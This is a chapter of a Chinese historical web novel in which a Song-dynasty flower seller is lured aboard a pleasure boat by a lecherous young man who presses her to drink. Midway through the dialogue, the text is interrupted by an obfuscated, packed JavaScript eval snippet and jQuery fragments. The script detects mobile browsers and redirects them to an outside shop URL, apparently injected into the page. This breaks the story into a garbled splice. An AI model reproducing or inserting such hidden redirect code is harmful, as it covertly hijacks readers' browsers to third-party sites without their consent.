天刚蒙蒙亮，姚木槿便挑着花担子去了东马塍。


    从东马塍到梅岗园，一路都是花田。生意大的卖花株，生意小的卖花枝。花株贵，花枝便宜。


    花农们将还沾着晨露的花枝剪下，卖花娘子们挑着担子来收，如同收菜一般，挑中了就一枝一枝往担子里放。未防花枝枯萎，担子里还铺着薄薄一层花泥。


    夏日已没了春天的桃夭杏艳，这时节主要卖的是紫薇、茉莉、栀子和睡莲。


    卖花娘子做的都是小本买卖，装满一担花大约百文，每个人会装两个花担，成本约二百文。


    挑好之后，将紫薇花削去旁枝杂叶，扎成花束，一束八文钱；茉莉和栀子可以摘下来做成小花串，可以卖五文钱一串；蓝色的睡莲唤作“蓝莲花”，前朝李唐时候由勿斯里国传入，这就卖得贵些，一枝蓝莲花可卖三十文左右。（注释1）


    姚木槿手脚麻利，很快就将自己的花担子装好，向花农付了钱后，她便挑起担子往西湖行去。她今天不打算进城了，打算沿湖往保俶塔的方向走，一路走一路卖花。


    平日里姚木槿很少到西湖这边来，只因街道司不允许小商贩们在西湖边随意摆摊。若是遇到司兵巡查，必然要与之斗智斗勇，斗输了就得罚一大笔钱，简直赔了夫人又折兵。


    但今天不一样，今天是朝廷开酒库的日子。


    本朝无论仕宦布衣，皆喜爱饮酒。临安府有十三所酒库，在每年夏初和秋初的特定日子，酒库会将本年新酒的名号写在酒招子上，并挑着酒招沿街巡游，意图告知百姓们——好酒已上市，诸位赶紧来喝。


    每逢开酒库之日，西子湖畔就热闹得像过节一样，估摸着根本等不到街道司的司兵来抓，就能把花全部卖掉。


    姚木槿美滋滋地盘算着：早早卖完花，先去防隅官屋看看三哥；然后去慧光庵进香许愿，求观音菩萨保佑顾沾沾母子平安，保佑三哥赶紧娶妻，保佑自己早日攒够钱，可以带着二哥的骨灰一同归乡。（注释2）


    “卖花咯——”


    “茉莉五文，紫薇八文，蓝莲花三十文——”


    挑着花担子一路吆喝一路走，行至断桥附近的时候已经卖出不少。时有郎君买下一束紫薇赠予自家娘子，亦有父母为身旁活泼可爱的孩子买一串茉莉戴上发髻。


    姚木槿在桥畔寻了一处空地，放下担子喘口气，而后便迎着夏日湖风，唱起了卖花娘子们最爱的那支《减字木兰花》。


    “卖花担上，买得一枝春欲放。泪染轻匀，犹带彤霞晓露痕。”（注释3）


    她的嗓音又脆又清澈，似黄莺唧啾，极其悦耳。忆及昔年在慈幼局，正是因为她唱歌好听，这才得了“小啾”这一诨名。


    边唱歌边应付着来来往往的买花人，很快，花担子上价钱便宜的茉莉、栀子和紫薇便所剩无几，唯有价格略高的蓝莲花，倒还余下不少。


    姚木槿看着担子里剩下的蓝莲花，不禁有些发愁。虽然早就知道这种价高的花不好卖，但今早她却还是被这抹清贵的蓝色迷住双眼，糊里糊涂就动了心，孰料现在可好……唉，果然心动都是要付出代价的，这些蓝莲花，十有八九是要砸手里了。


    叹了口气，正思量着要不要贱卖的时候，姚木槿一抬头，这便瞧见原本逡巡于湖光之中的一艘画舫，此刻正慢慢地向自己这边靠近。


    那画舫绘彩染金，极其华贵。舫有二层，一层乃饮酒作乐之所，二层是一间小阁，可供稍歇。


    “卖花娘子，我们官人请你上船来。”有仆役站在船头冲姚木槿大声说。


    姚木槿笑着摇头，又指了指自己的花担子，意思是：她只卖花，不陪酒。


    那仆役又道：“你的花，我们官人全要了！我们官人与娘子相识，今日恰好遇见，便想请娘子共饮两杯新酿，并无他意。”


    姚木槿微怔——与她相识？是何人？


    她在脑海中飞速回想了一遍，她所熟识者大抵皆是慈幼局出身的三教九流，也没听说他们中有哪个人飞黄腾达了，能赁得起这样华丽的游湖画舫。


    但此人的言说也确实勾起了姚木槿的好奇，很想知道画舫里想请她同饮的官人究竟是谁，说不准真是哪个一起长大的苦孩子走了狗屎运。况且那人还说要将她的花全部买去，顶好的事，她不能不去瞧瞧。


    于是姚木槿颔首应道：“多谢你们官人。”


    画舫靠岸，姚木槿被船工扶着上了船。将花担子放在甲板上，她这便掀开眼前重重青绫帘幔走入舫内，不料一进去就看见了自己最不想看见的人——周恒。


    舫中摆着一张食案，案上好酒好菜齐备，周恒身着华贵绫罗，鬓边斜簪一枝象生花，懒洋洋地倚在案前。他身后靠窗的位置坐着两名怀抱琵琶的歌女，左手坐着两位身穿白襕衫的文士，右手的上位却空着。


    见姚木槿进来，周恒立刻举起手中酒盏，笑道：“木槿妹妹，小生这厢有礼了。”


    姚木槿二话不说，转身就想下船。孰料还未掀开幔帐，便被立在舱外的仆役伸臂拦住了去路。


    “妹妹莫急走啊。我与妹妹许久未见，今日饮湖上之际，望见妹妹在岸边卖花，实在有缘，遂邀妹妹上船小酌两杯薄酒，还望妹妹莫怪。”


    周恒笑嘻嘻地说着，边说边站起身，晃着手中酒盏，往姚木槿这边缓步行来。


    姚木槿咽下心头厌恶，伶牙俐齿地刻薄道：“周官人不在家中认真读书，还有心情在这儿饮酒作乐呢？当心下回的吏部铨试仍过不了，那可丢死人咯。”


    顾沾沾曾对姚木槿说过，周恒原本可以仰仗家族门荫出仕，只可惜铨试未过，至今仍是白身。


    本朝自仁宗时便定下规矩，所有推恩荫补的官员，必须通过铨试；铨试未过者，不得破格授官。可笑这周恒不学无术，次次都被卡在铨试这里，纵有门荫也无法入朝，实在是个草包。


    周恒听姚木槿公然揭他的短，面色一沉，但又很快恢复至皮笑肉不笑模样，啧啧地说：“妹妹这张巧嘴儿，端的是厉害。这么伶俐的一张嘴，不知噙着嘬一嘬，会是什么滋味。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285149|198150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姚木槿登时冷下脸，骂道：“无耻东西。真是大蟾蜍扮青蛙——遍身膈应藏都藏不下。”


    周恒不提防被她这样一骂，面子上彻底挂不住，刚要发怒，却听身后那两位文士其中一人开口劝道：


    “业久，你好好的非要招惹人家卖花娘子作甚？等会儿被他知道了，又要不欢而散。咱们今日好不容易请他出来，原是有求于人，莫要做那任性使气之事。”说话间，此人竖起食指向二楼指了指。


    周恒下意识抬头往楼上扫一眼，瞬间没了气势，悻悻道：“罢了罢了，他是救苦救难的观世音菩萨，我惹不起。……木槿妹妹骂得好，鄙人先给妹妹赔个不是。我因着妹妹的冷声冷眼，心都快碎了，还管什么耻与不耻。”


    姚木槿听他们如此说，这才意识到，原来这画舫内还有一人。怪不得筵席的上位空着，想来应是那人之座，只不知他因何离席去了二楼。


    却听周恒继续怨道：“妹妹牙尖齿利，不仅把我说得不堪，前两天还把我那浑家骂得哑口无言。鄙人实在佩服。”


    姚木槿微怔：“你竟知晓此事？”


    周恒冷笑一声：“我那浑家被妹妹骂了个大红脸，回到家中好一通哭嚷。妹妹说得好，欺软怕硬的都是奸贼。她大抵是不想做奸贼，对我是又掐又闹。拜妹妹所赐，我可是哄了足足三日才把人哄住。妹妹少不得共我满饮此杯，就当是赔罪了。”


    “放屁！”姚木槿啐道，“谁要赔你的罪！”


    话毕，她再次转身往舫外行去。打定主意哪怕今日把这些蓝莲花全扔湖里，她也绝不会卖给周恒这个恶心玩意儿。


    “沾沾有了身孕，想雇个女使伺候她，我寻思着这事也不是不能办……”周恒在姚木槿身后凉嗖嗖地开口。


    姚木槿离去的脚步倏然顿住，回身问道：“你想如何？”


    周恒心知顾沾沾是姚木槿的软肋，原本只是略作试探，现见姚木槿果然上钩，不禁又嬉皮笑脸起来。


    但见他抬手指着船舱内一排尚未开封的酒坛，得意道：“今日恰逢朝廷开酒库，我托人赶早弄了几坛好酒来尝鲜。此乃御库名酒‘琥珀光’，妹妹往日在街市，想喝都喝不到呢。相逢即是缘，妹妹且坐下陪我等痛饮几杯，若是将我们哄高兴了，什么女使婆子的，自然不在话下。”


    姚木槿瞥了一眼那些酒坛，乃是一坛一升的花釉小瓷坛。但她从未喝过“琥珀光”，不知这酒的后劲如何，心头难免有些忐忑。


    她这边还在思量，那边周恒却不耐烦地催促道：“怎么？没胆？我还以为木槿妹妹是女中豪杰，却原来也不过如此。至于沾沾的女使，呵……”


    姚木槿被周恒这么一激，霎时再顾不得其他，转身走回船舱内，直接就在周恒右边空着的上位落座，扬声道：“好！今日奴家便陪周官人喝个尽兴。”


    周恒听她这样说，喜得一迭声唤人开坛倒酒，又命歌女有什么好听的曲儿尽管唱来。之后便坐于姚木槿身边，拿一双贼溜溜的眼睛看着她，面上亦浮起一抹不怀好意的奸笑。